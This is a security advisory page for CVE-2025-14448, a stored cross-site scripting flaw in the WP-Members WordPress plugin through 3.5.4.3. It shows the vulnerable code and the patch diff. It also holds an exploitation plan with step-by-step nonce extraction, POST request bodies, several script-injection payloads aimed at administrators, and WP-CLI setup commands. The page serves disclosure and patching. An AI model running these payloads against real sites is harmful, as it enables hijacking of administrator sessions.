CVE-2025-14448

WP-Members Membership Plugin <= 3.5.4.3 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Multiple Checkbox and Multiple Select User Profile Fields

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
5.4
CVSS Score
5.4
CVSS Score
medium
Severity
3.5.4.4
Patched in
1d
Time to patch

Description

The WP-Members Membership Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Multiple Checkbox and Multiple Select user profile fields in all versions up to, and including, 3.5.4.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.5.4.3
PublishedJanuary 14, 2026
Last updatedJanuary 15, 2026
Affected pluginwp-members

What Changed in the Fix

Changes introduced in v3.5.4.4

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-14448 (WP-Members Membership Plugin) ## 1. Vulnerability Summary The **WP-Members Membership Plugin (<= 3.5.4.3)** contains a stored cross-site scripting (XSS) vulnerability. The issue exists in how user profile fields of type `multiselect` and `multicheckbox`…

Show full research plan

Exploitation Research Plan: CVE-2025-14448 (WP-Members Membership Plugin)

1. Vulnerability Summary

The WP-Members Membership Plugin (<= 3.5.4.3) contains a stored cross-site scripting (XSS) vulnerability. The issue exists in how user profile fields of type multiselect and multicheckbox are processed and displayed. Specifically, in the WP_Members_User_Profile::profile method, the plugin explicitly skips HTML entity encoding for these field types, allowing arbitrary HTML and JavaScript injected into user metadata to be rendered unescaped in the WordPress dashboard and frontend profile pages.

2. Attack Vector Analysis

  • Vulnerable Endpoint: WordPress User Profile Update (wp-admin/profile.php or frontend profile shortcode).
  • Vulnerable Sink: User Profile Display (Admin User Edit or Frontend Profile Dashboard).
  • Required Authentication: Subscriber-level or higher.
  • Preconditions: A custom field of type multiselect or multicheckbox must be defined in the WP-Members settings.
  • Vulnerable Parameter: Any custom field key associated with the multiselect or multicheckbox types.

3. Code Flow

  1. Entry Point: A user (e.g., Subscriber) updates their profile.
  2. Storage: WordPress core or the plugin saves the custom field value into the wp_usermeta table via update_user_meta().
  3. Execution/Sink: When an administrator views the user's profile in the dashboard, WP_Members_User_Profile::profile( $user_obj ) is called (likely via the edit_user_profile or show_user_profile hooks).
  4. Logic Path (includes/class-wp-members-user-profile.php):
    • Line 125: $val = get_user_meta( $user_id, $meta, true ); fetches the malicious metadata.
    • Line 127: $val = ( $field['type'] == 'multiselect' || $field['type'] == 'multicheckbox' ) ? $val : htmlspecialchars( $val );
      • Vulnerability: If the type is multiselect or multicheckbox, it bypasses htmlspecialchars.
    • Line 149-151: The unescaped $val (via $valtochk) is passed to wpmem_form_field():
      $input = wpmem_form_field( array( 'name'=>$meta, 'type'=>$field['type'], 'value'=>$values, 'compare'=>$valtochk, 'delimiter'=>$field['delimiter'] ) );
      
  5. Output: The unescaped payload is rendered into the HTML of the profile page, leading to script execution.

4. Nonce Acquisition Strategy

This exploit involves a standard WordPress profile update.

  1. Tool: Use browser_navigate and browser_eval.
  2. Step: Navigate to wp-admin/profile.php as the Subscriber.
  3. Extraction: Use browser_eval to extract the _wpnonce field from the profile form.
    • browser_eval("document.querySelector('#_wpnonce').value")
  4. Action: The core WordPress nonce for update-user_{ID} is required to submit the form.

5. Exploitation Strategy

Step 1: Configuration (Pre-exploit)

The plugin must have a multi-select or multi-checkbox field. We will use WP-CLI to inject this configuration into the plugin's settings.

  • Field Name: attacker_xss_field
  • Type: multicheckbox

Step 2: Profile Update (Injection)

Submit a POST request to update the Subscriber's profile with the payload.

  • URL: http://localhost:8080/wp-admin/profile.php
  • Method: POST
  • Body:
    action=update&
    user_id=[SUBSCRIBER_ID]&
    _wpnonce=[NONCE]&
    attacker_xss_field[]="><script>alert(document.domain)</script>&
    submit=Update+Profile
    
  • Note: The field uses array syntax [] for multi-value types.

Step 3: Triggering (Execution)

Log in as an Administrator and navigate to the user's edit page: wp-admin/user-edit.php?user_id=[SUBSCRIBER_ID]. The script will execute upon loading the "WP-Members Additional Fields" section.

6. Test Data Setup

  1. Plugin Installation: Ensure wp-members version 3.5.4.3 is active.
  2. User Creation:
    • wp user create victim_admin admin@example.com --role=administrator --user_pass=password
    • wp user create attacker_sub sub@example.com --role=subscriber --user_pass=password
  3. Field Configuration:
    WP-Members stores fields in the wpmembers_fields option.
    wp option get wpmembers_fields --format=json > fields.json
    # Add a field: label="XSS", name="attacker_xss_field", type="multicheckbox", values="choice1|choice1", profile=1
    # (Crucial: set 'profile' => 1 so subscribers can see/edit it)
    wp option update wpmembers_fields '[ExistingFieldsArray...]' --format=json
    

7. Expected Results

  • The POST request to profile.php returns a 302 redirect with updated=1.
  • In the database, get_user_meta([ID], 'attacker_xss_field', true) contains the raw payload.
  • When an Admin views the user edit page, the HTML source contains:
    <input ... value=""><script>alert(document.domain)</script>"> (or similar depending on how wpmem_form_field constructs the inputs).

8. Verification Steps

  1. Database Check:
    wp user meta get [SUBSCRIBER_ID] attacker_xss_field
    
    Confirm it contains the <script> tag.
  2. HTTP Check:
    Use http_request as Admin to fetch wp-admin/user-edit.php?user_id=[ID] and check the response body for the unescaped script tag.

9. Alternative Approaches

If multicheckbox fails due to internal formatting (e.g., the plugin expects a specific delimiter), try the multiselect type.

  • Type: multiselect
  • Payload: Submit as an array attacker_xss_field[]=<option selected>XSS<script>alert(1)</script></option>.
  • Logic: Since htmlspecialchars is skipped on line 127, the entire option tag or its contents might break out of the <select> container.
  • Delimiter Check: WP-Members often uses | as a delimiter for these fields. Attempting to inject choice1|"><script>alert(1)</script> might be necessary if the plugin flattens the array before processing.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP-Members Membership Plugin is vulnerable to Stored Cross-Site Scripting via the 'multiselect' and 'multicheckbox' custom profile fields. Authenticated attackers with Subscriber-level access can inject malicious scripts into these fields, which are then rendered unescaped when an administrator views the user's profile in the dashboard.

Vulnerable Code

// includes/class-wp-members-user-profile.php lines 125-127
$val = get_user_meta( $user_id, $meta, true );
$val = ( $field['type'] == 'multiselect' || $field['type'] == 'multicheckbox' ) ? $val : htmlspecialchars( $val );

---

// includes/class-wp-members-user-profile.php lines 387-388
} elseif ( $field['type'] == 'multiselect' || $field['type'] == 'multicheckbox' ) {
	$fields[ $meta ] = ( isset( $_POST[ $meta ] ) ) ? implode( $field['delimiter'], wp_unslash( $_POST[ $meta ] ) ) : '';

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/wp-members/3.5.4.3/includes/class-wp-members-user-profile.php	2025-06-07 14:33:32.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-members/3.5.4.4/includes/class-wp-members-user-profile.php	2025-12-12 18:11:46.000000000 +0000
@@ -385,7 +385,7 @@
 			} elseif ( $field['type'] == 'checkbox' ) {
 				$fields[ $meta ] = wpmem_get_sanitized( $meta, '' ); // ( isset( $_POST[ $meta ] ) ) ? sanitize_text_field( $_POST[ $meta ] ) : '';
 			} elseif ( $field['type'] == 'multiselect' || $field['type'] == 'multicheckbox' ) {
-				$fields[ $meta ] = ( isset( $_POST[ $meta ] ) ) ? implode( $field['delimiter'], wp_unslash( $_POST[ $meta ] ) ) : '';
+				$fields[ $meta ] = ( isset( $_POST[ $meta ] ) ) ? implode( $field['delimiter'], wpmem_sanitize_array( $_POST[ $meta ] ) ) : '';
 			} elseif ( $field['type'] == 'textarea' ) {
 				$fields[ $meta ] = wpmem_get_sanitized( $meta, '', 'post', 'textarea' ); // ( isset( $_POST[ $meta ] ) ) ? sanitize_textarea_field( $_POST[ $meta ] ) : '';
 			}

Exploit Outline

1. Authentication: Log in as a Subscriber-level user. 2. Target Discovery: Identify a custom user profile field of type 'multiselect' or 'multicheckbox' that is editable by users. 3. Payload Crafting: Prepare a JavaScript payload designed to break out of HTML attributes, such as `"><script>alert(document.domain)</script>`. 4. Nonce Acquisition: Access the profile update page (e.g., `/wp-admin/profile.php`) and extract the `_wpnonce` value from the form. 5. Injection: Submit a POST request to the profile update endpoint, passing the payload inside an array for the targeted field (e.g., `attacker_field[]="><script>alert(1)</script>`). 6. Execution: An administrator views the attacker's user profile in the WordPress dashboard (e.g., `/wp-admin/user-edit.php?user_id=[ATTACKER_ID]`). The unsanitized payload is rendered directly into the HTML source, executing the script in the admin's session.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.